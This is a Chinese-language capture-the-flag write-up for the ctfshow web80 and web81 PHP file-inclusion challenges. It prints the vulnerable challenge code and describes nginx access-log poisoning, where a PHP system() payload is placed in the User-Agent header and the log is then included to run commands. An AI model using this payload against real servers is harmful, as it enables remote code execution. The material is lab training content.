web80、web81笔记 文件包含系列开始(web80+过滤data web81+过滤:)
#web80
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 11:26:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
给我过滤data,data和php://不⼀样,data不能⼤⼩写绕过
这⾥⽤php的伪协议,注意到上⾯写的php://input⽤于执⾏php代码,尝试⽤Php://input然后POST⼀个system但是并没有执⾏,考虑中间件日志文件包含

包含进⾏getshell⽇志⽂件路径: ?file=/var/log/nginx/access.log (默认nginx日志路径)

因为log⽂件记录的就是User-Agent,所以更改User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 <?php system('ls');?>

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 <?php system('tac fl0g.php');?>

#web81
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 15:51:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
就过滤了个冒号,我继续之前的操作 发现了 只要报错就重开吧
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 <?php system('ls');?>
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 <?php system('tac fl0g.php');?>
浙公网安备 33010602011771号